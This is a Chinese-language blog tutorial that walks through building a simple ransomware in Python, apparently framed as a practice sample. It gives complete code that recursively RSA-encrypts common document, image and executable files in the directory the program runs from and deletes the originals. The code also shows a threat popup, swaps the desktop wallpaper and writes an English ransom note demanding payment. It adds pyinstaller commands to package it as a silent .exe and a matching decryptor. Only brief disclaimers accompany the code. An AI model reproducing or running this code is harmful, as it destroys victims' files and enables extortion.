勒索型恶意代码初步理解

  • 勒索型恶意代码是一种以勒索为目的的恶意软件,黑客使用技术手段劫持用户设备或数据资产,并以此为条件向用户勒索钱财的一种恶意攻击手段。下面这个图是大致介绍一下勒索型恶意代码的一些基础知识。
  • 勒索型恶意代码可以分为如下两类:
    • 数据加密型勒索软件:是勒索软件最常见的形式,在这种形式下,勒索软件将受害者机器上的数据加密,并承诺受害者缴纳赎金后会协助其将数据恢复。
    • 限制访问型勒索软件:这种形式不影响存储数据在设备上的数据,而是阻挠受害者访问设备,向受害者索要赎金,并显示在屏幕上。
    • 勒索软件一般会伪装成权利部门的通知,报告受害人非法访问了网页内容,并说明他们必须支付罚款。

image-20260430203450952

  • 数据加密型的勒索软件加密方式一般有如下几种:
    • 自定义加密方式:一般是病毒作者自编的加密算法,典型的例子就是Apcalypse
    • 一层加密算法:使用一层加密算法一般都使用对称加密算法,也会有非对称加密算法
    • 二层加密算法:使用对称和非对称结合,比如RSA-AES加密算法
    • 三层加密算法:基本是也是对称与非对称结合,比如ECDH-ECDH-AES
    • 第三方加密模块:使用WINRAR或者GNUPG等进行加密
    • 注意:这些标准的加密算法被认为是无法破解的,而部分勒索病毒可以被破解的最大原因是标准加密算法使用不当这里一般就涉及到密码分析学的知识了

勒索型恶意代码之制作

  • 对于恶意代码这些知识还是得会实战,基础概念了解再多到最后不会实战也没还是菜鸟,所以还是以实战为主。

  • 首先我参考这篇博客使用python制作一个勒索病毒:应急演练勒索样本参考 | Muhe’s Blog

  • 首先大致介绍一下我们所要制作简易勒索病毒的一些重要信息:

    • 制作勒索型恶意代码的语言python语言,制作勒索型恶意代码的类型数据加密型勒索软件,制作勒索型恶意代码的加密算法RSA加密算法
    • 制作勒索型恶意代码的流程如下:
      • 生成用于加密的RSA公私钥文件
      • 对指定文件格式进行加密,并定义函数实现加密过程,测试加密函数是否有问题
      • 加密文件名默认为勒索病毒所在文件夹
      • 生成勒索信
      • 替换桌面壁纸
      • 调用cmd弹窗
      • 打包python文件为exe文件
      • 制作勒索型恶意代码界面流程

python实现简易勒索病毒

生成公私钥

  • 首先使用rsa库生成1024位的rsa公私钥文件,先在本地生成两个文件,之后将生成的公钥和加密程序一起打包发送给受害者,这样就可以使用rsa加密的公钥对受害者的文件进行加密操作,或者是可以对随机生成的对称加密的密钥进行加密后发送回来。
1
2
3
4
5
6
7
8
9
10
11
12
13
import rsa

# 生成1024位的rsa公私钥,并保存为.pem格式
pub ,priv = rsa.newkeys(1024)

pub = pub.save_pkcs1()
with open(r'./keys/pubkey.pem',mode='wb') as file:
file.write(pub)

priv = priv.save_pkcs1()
with open(r'./keys/privkey.pem',mode='wb') as file:
file.write(priv)

image-20260504003143178

image-20260504003200208

加密文件一加密单个文件

  • 定义加密文件的函数,对单个文件进行加密操作,并将原始文件删除,生成的加密文件名为.enc的后缀,例如1.txt读取文件数据后会被删除,并对文件数据进行加密,加密后会生成1.txt.enc文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def rsa_encrypt(filename:str):
# 检查文件类型是否在要加密的文件类型里面
# 如果是就进行加密操作
if filename.split(".")[-1] in target_list_str:
# 打开并读取公钥文件
with open("./keys/pubkey.pem") as file:
pub = file.read()
pub = rsa.PublicKey.load_pkcs1(pub)

# 打开并读取要加密的文件
with open(filename,mode = 'rb') as file:
data = file.read()

# 删除原始文件
os.remove(filename)
res = []
# 对读取的加密文件进行分组并加密
for i in range(0,len(data), 117):
res.append(rsa.encrypt(data[i:i+117],pub))

# 将加密后的数据合并,并对合并后的数据进行base64编码,最后转换为字符串类型
byte_data = b''.join(res)
byte_data = base64.b64encode(byte_data).decode()

# 创建加密后的文件,并将加密内容写入文件中
filename = filename + '.enc'
with open(filename, mode='w') as file:
file.write(byte_data)

加密文件二全盘文件加密

  • 加密文件一中已经实现了单个文件加密,但是勒索病毒一般都是全盘文件加密,所以在这个部分我们要实现加密某个文件夹下的所有文件。
  • 这个部分就需要我们遍历指定文件夹下的所有文件,遍历的时候还需要对该文件进行加密操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 遍历某个文件夹下的所有文件,并调用rsa_encrypt进行加密
def encrypt(file_path):
# 判断是不是文件夹,是就进行遍历操作,不是就直接加密
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
file_name = os.path.join(file_path,file_name)
# 如果文件夹里面还存在文件夹直接递归调用encrypt(),否则直接加密
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)
  • 最后定义一个main函数,对指定文件夹进行加密
1
2
3
4
5
if __name__ == '__main__':
target_list = []
for i in target_list_str.split('.'):
target_list.append(i.strip())
encrypt(r'D:\python\python编程文件\随便编编\恶意代码\test')
  • 完整代码如下,切记请勿使用到违法的地方,对该代码使用不当从而产生的后果自行承担。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import rsa
import os
import base64
# 生成1024位的rsa公私钥,并保存为.pem格式
pub ,priv = rsa.newkeys(1024)

pub = pub.save_pkcs1()
with open(r'./keys/pubkey.pem',mode='wb') as file:
file.write(pub)

priv = priv.save_pkcs1()
with open(r'./keys/privkey.pem',mode='wb') as file:
file.write(priv)


# 定义要加密的文件类型
target_list_str = ".txt .lnk .pdf .jpg .png .jpeg .doc .docx .xls .xlsx .ppt .pptx .zip .exe"

# 定义函数实现加密

def rsa_encrypt(filename:str):
# 检查文件类型是否在要加密的文件类型里面
# 如果是就进行加密操作
if filename.split(".")[-1] in target_list_str:
# 打开并读取公钥文件
with open("./keys/pubkey.pem") as file:
pub = file.read()
pub = rsa.PublicKey.load_pkcs1(pub)

# 打开并读取要加密的文件
with open(filename,mode = 'rb') as file:
data = file.read()

# 删除原始文件
os.remove(filename)
res = []
# 对读取的加密文件进行分组并加密
for i in range(0,len(data), 117):
res.append(rsa.encrypt(data[i:i+117],pub))

# 将加密后的数据合并,并对合并后的数据进行base64编码,最后转换为字符串类型
byte_data = b''.join(res)
byte_data = base64.b64encode(byte_data).decode()

# 创建加密后的文件,并将加密内容写入文件中
filename = filename + '.enc'
with open(filename, mode='w') as file:
file.write(byte_data)

# 遍历某个文件夹下的所有文件,并调用rsa_encrypt进行加密
def encrypt(file_path):
# 判断是不是文件夹,是就进行遍历操作,不是就直接加密
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
file_name = os.path.join(file_path,file_name)
# 如果文件夹里面还存在文件夹直接递归调用encrypt(),否则直接加密
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)

if __name__ == '__main__':
target_list = []
for i in target_list_str.split('.'):
target_list.append(i.strip())
encrypt(r'D:\python\python编程文件\随便编编\恶意代码\test')

脚本优化一自动指定加密目录

  • 由于每个人计算机上的文件目录都是不一样的,所以就需要自动获取文件目录,这里的话就自动获取该勒索病毒程序所在的文件目录为例子。也就是加密会加密勒索病毒所在的文件目录下的文件以及文件夹。
1
2
3
4
5
if __name__ == '__main__':
target_list = []
for i in target_list_str.split('.'):
target_list.append(i.strip())
encrypt(os.getcwd())

脚本优化二调用Windows弹窗

  • 调用Windows弹窗,对被勒索的用户进行一些警告和提示,以便更贴近真实的勒索病毒。这里使用的是python自带的GUItkinter模块来调用Windows弹窗。
  • 先尝试编写一下简单的弹窗

image-20260504014949822

  • 接下来将这个简单的弹窗修改一下警告即可
1
2
3
4
5
6
7
8
9
10
# 生成警告弹窗
def warnning():
# 创建Tk类,并初始化
root = tk.Tk()
# 隐藏主窗口
root.withdraw()
# 弹出警告消息框
tk.messagebox.showwarning("Warnning!!!","抱歉,你的电脑已经被我们控制,里面部分文件已经被加密,如果想要恢复,请及时联系我们~")
# 关闭Tkinter
root.destroy()
  • 运行之后的效果如下:

image-20260504015050354

脚本优化三替换桌面壁纸

  • 同样是为了使勒索病毒更加真实,接下来我们要增加一个替换桌面壁纸的步骤,使得在运行该勒索病毒之后桌面壁纸会被改程序替换为一些勒索信息,或者是类似于黑客元素的图片信息。我们将使用win32guiwin32con这两个库来实现。
  • 代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import win32gui
import win32con
import os
def set_wallpaper(image_path):
#
return win32gui.SystemParametersInfo(
win32con.SPI_SETDESKWALLPAPER,
image_path,
win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE
)

image_path = os.getcwd() + r"\background.png"

print(image_path)
set_wallpaper(image_path)

脚本优化四生成勒索信

  • 接下来就是生成一个勒索信
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os

file_name = "extortion_Readme.txt"

content = """YOUR FILES HAVE BEEN ENCRYPTED
You have been hacked!
All your important files (photos, documents, databases, backups) are now encrypted with strong military-grade encryption.No one can recover your files without the unique decryption key.
What you need to do:
1.Do NOT delete this file or rename it.
2.Do NOT use antivirus tools or try to fix files yourself (this will destroy data forever).
3.To get the decryption key and unlock all your files, you must pay the ransom.
Contact us to get payment instructions: [Your email / contact method]

Warning:
If you delay payment, the price will increase.
If you do not pay in time, your files will be lost permanently.
YOU HAVE BEEN LOCKED.
PAY TO RECOVER YOUR DATA.
"""

file_name = "extortion_Readme.txt"
# 创建文件,并将勒索信的内容写入文件中
with open(file_name,'w') as file:
file.write(content)

# 获取文件的绝对路径
file_path = os.path.abspath(file_name)

# 打开文件
os.startfile(file_path)
print(f"文件 '{file_name}' 已创建并写入内容,现在将打开该文件.")
  • 由于勒索信和我们这个背景文件是该程序需要使用的资源,所以在加密的时候我们不能加密这两个文件,这个时候就需要在全盘加密这边设置一个白名单了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 遍历某个文件夹下的所有文件,并调用rsa_encrypt进行加密
def encrypt(file_path):
# 判断是不是文件夹,是就进行遍历操作,不是就直接加密
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
if file_name == "extortion_Readme.txt" or file_name == "background.png":
continue
file_name = os.path.join(file_path,file_name)
# 如果文件夹里面还存在文件夹直接递归调用encrypt(),否则直接加密
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)

python勒索病毒打包

打包过程

  • 优化后我们就需要将该程序打包成exe文件,以便程序能在被勒索者的电脑上双击即可执行。这时就需要使用pyinstaller进行打包操作,这里pyinstaller直接使用pip安装就行。
  • 但是这里还需要注意一点,在加密的时候还需要将我们的这个可执行文件加入加密的白名单,要不然就会出现我们的勒索程序也会被加密了。
  • 使用os库来获取该可执行文件的路径,如下图所示:

image-20260504042615289

image-20260504042627361

  • 在打包之前还需要注意一点就是,打包后的exe文件要正确引用这些资源文件,在python代码中,通常会使用相对路径来访问这些文件。
1
2
3
4
5
6
7
# 生成资源文件目录访问路径
def resource_path(relative_path):
if getattr(sys,'frozen', False): # 判断是否Bundle Resource
base_path = sys._MEIPASS
else:
base_path = os.path.abspath('.')
return os.path.join(base_path,relative_path)
  • 将如下两处进行修改

image-20260504044826687

image-20260504044836838

  • 打包前还要注意encrypt调用传递的参数应该encrypt(os.getcwd())这样方便我们测试,就不需要创建./test文件夹测试了。
  • 设置好访问路径之后,随便找一个ico图标,作为该exe的图标文件,打包命令如下:
    • -add-data加载资源文件
    • -i加载图标文件
    • -F加载脚本文件
    • w执行文件时不显示控制台
1
pyinstaller --add-data './keys/pubkey.pem;res' --add-data './background.png;res' -i ".\logo.ico" -Fw ".\勒索恶意代码.py"
  • 打包好后就会在当前py文件下生成一个dist文件夹,可执行程序在该文件夹下,接下来我们创建一个文件夹并且创建几个文件进行测试。

image-20260504045335150

  • 点击运行会发现文件被加密了

image-20260504045410684

  • 壁纸被替换成了如下:

image-20260504045458357

  • 勒索信也生成了,并且自动弹出:

image-20260504045540911

完整加密代码

  • 注意运行的时候不要将该程序放在有重要文件的程序中运行,造成重要文件丢失后果自负。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import rsa
import os
import base64
import tkinter as tk
import tkinter.messagebox
import win32gui
import win32con
import sys

# 生成1024位的rsa公私钥,并保存为.pem格式
#pub ,priv = rsa.newkeys(1024)

#pub = pub.save_pkcs1()
#with open(r'./keys/pubkey.pem',mode='wb') as file:
# file.write(pub)

#priv = priv.save_pkcs1()
#with open(r'./keys/privkey.pem',mode='wb') as file:
# file.write(priv)


# 定义要加密的文件类型
target_list_str = ".txt .lnk .pdf .jpg .png .jpeg .doc .docx .xls .xlsx .ppt .pptx .zip .exe"

# 生成资源文件目录访问路径
def resource_path(relative_path):
if getattr(sys,'frozen', False): # 判断是否Bundle Resource
base_path = sys._MEIPASS
else:
base_path = os.path.abspath('.')
return os.path.join(base_path,relative_path)

# 定义函数实现加密
def rsa_encrypt(filename:str):
# 生成绝对路径的公钥
pubkey_name = resource_path(os.path.join("res","pubkey.pem"))
# 检查文件类型是否在要加密的文件类型里面
# 如果是就进行加密操作
if filename.split(".")[-1] in target_list_str:
# 打开并读取公钥文件
with open(pubkey_name) as file:
pub = file.read()
pub = rsa.PublicKey.load_pkcs1(pub)

# 打开并读取要加密的文件
with open(filename,mode = 'rb') as file:
data = file.read()

# 删除原始文件
os.remove(filename)
res = []
# 对读取的加密文件进行分组并加密
for i in range(0,len(data), 117):
res.append(rsa.encrypt(data[i:i+117],pub))

# 将加密后的数据合并,并对合并后的数据进行base64编码,最后转换为字符串类型
byte_data = b''.join(res)
byte_data = base64.b64encode(byte_data).decode()

# 创建加密后的文件,并将加密内容写入文件中
filename = filename + '.enc'
with open(filename, mode='w') as file:
file.write(byte_data)

# 遍历某个文件夹下的所有文件,并调用rsa_encrypt进行加密
def encrypt(file_path):
# 判断是不是文件夹,是就进行遍历操作,不是就直接加密
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
if file_name == "extortion_Readme.txt" or file_name == "background.png":
continue
if file_name == exe_name:
continue
file_name = os.path.join(file_path,file_name)
# 如果文件夹里面还存在文件夹直接递归调用encrypt(),否则直接加密
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)

# 生成警告弹窗
def warnning():
# 创建Tk类,并初始化
root = tk.Tk()
# 隐藏主窗口
root.withdraw()
# 弹出警告消息框
tk.messagebox.showwarning("Warnning!!!","抱歉,你的电脑已经被我们控制,里面部分文件已经被加密,如果想要恢复,请及时联系我们~")
# 关闭Tkinter
root.destroy()

def set_wallpaper(image_path):
# 返回值:如果函数调用成功,返回值非零;如果函数调用失败,返回值为零。
# 修改桌面背景
return win32gui.SystemParametersInfo(
win32con.SPI_SETDESKWALLPAPER,
image_path,
win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE
)


# 生成勒索信
def create_letter():
file_name = "extortion_Readme.txt"

content = """YOUR FILES HAVE BEEN ENCRYPTED
You have been hacked!
All your important files (photos, documents, databases, backups) are now encrypted with strong military-grade encryption.No one can recover your files without the unique decryption key.
What you need to do:
1.Do NOT delete this file or rename it.
2.Do NOT use antivirus tools or try to fix files yourself (this will destroy data forever).
3.To get the decryption key and unlock all your files, you must pay the ransom.
Contact us to get payment instructions: [Your email / contact method]

Warning:
If you delay payment, the price will increase.
If you do not pay in time, your files will be lost permanently.
YOU HAVE BEEN LOCKED.
PAY TO RECOVER YOUR DATA.
"""

file_name = "extortion_Readme.txt"
# 创建文件,并将勒索信的内容写入文件中
with open(file_name, 'w') as file:
file.write(content)

# 获取文件的绝对路径
file_path = os.path.abspath(file_name)

# 打开文件
os.startfile(file_path)


if __name__ == '__main__':
# 提取要加密的文件后缀
target_list = []
for i in target_list_str.split('.'):
target_list.append(i.strip())
# 获取当前exe的文件路径
exe_path = os.path.abspath(sys.executable)
# 获取文件名
exe_name = os.path.basename(exe_path)
# 全盘加密
encrypt(os.getcwd())
warnning()
# 设置背景的相对路径
image_path = resource_path(os.path.join("res","background.png"))
# 设置背景图片
set_wallpaper(image_path)
# 生成勒索信,并将其打开
create_letter()

python实现简易勒索病毒解密

  • 相对于加密而言,解密勒索代码就比较容易实现,将该程序分为如下几个步骤:
    • 首先读取RSA私钥文件,并遍历.enc后缀的文件。
    • 其次在遍历.enc后缀文件时读取base64编码,将其解码。
    • 将解码后的数据分组进行RSA解密操作,解密后写入到原文件名中,并删除加密文件。
    • 最后弹窗解密成功。
  • 实现代码如下,对着博客敲了一遍:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import base64
import os.path
import sys
import rsa
import tkinter as tk
import tkinter.messagebox


# 定义要解密的文件后缀
target_list_str = ".txt .lnk .pdf .jpg .png .jpeg .doc .docx .xls .xlsx .ppt .pptx .zip .exe"

# 生成资源文件的目录访问路径
def resource_path(relative_path):
if getattr(sys, 'frozen', False): #是否Bundle Resource
base_path = sys._MEIPASS
else:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)

# 解密过程
def rsa_decrypt(file_name):
# 读取私钥文件
prikey_name = resource_path((os.path.join("des","privkey.pem")))

# 进行后缀遍历操作
if file_name.split(".")[-2] in target_list:
# 加载私钥文件
with open(prikey_name,mode='rb') as file:
priv = file.read()
priv = rsa.PrivateKey.load_pkcs1(priv)
# 加载加密数据
with open(file_name,mode='r') as file:
data = file.read()

# 进行base64解码
data = base64.b64decode(data.encode())

res = []

for i in range(0,len(data),128):
temp_plaintext = rsa.decrypt(data[i:i + 128],priv)
res.append(temp_plaintext)
# 整合成一个字节流
last = b''.join(res)
# 删除加密文件
os.remove(file_name)
# 写入解密后的数据到源文件
with open(file_name.replace('.enc',""),mode='wb') as file:
file.write(last)

# 全盘解密
def decrypt(file_path):
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
file_name = os.path.join(file_path, file_name)
if os.path.isdir(file_name):
decrypt(file_name)
else:
rsa_decrypt(file_name)
else:
rsa_decrypt(file_path)

# 生成解密成功弹窗
def warnning():
# 初始化Tkinter
root = tk.Tk()
# 隐藏主窗口
root.withdraw()
# 弹出消息框
tk.messagebox.showwarning("解密完成!!!")
# 关闭Tkinter
root.destroy()

if __name__ == "__main__":
target_list = []
for i in target_list_str.split('.'):
target_list.append(i.strip())

decrypt(os.getcwd())
warnning()
  • 进行打包操作:
1
pyinstaller --add-data './des/privkey.pem;des' -Fw .\decrypt.py
  • 执行后成功解密:

image-20260504051516185

勒索型恶意代码之逆向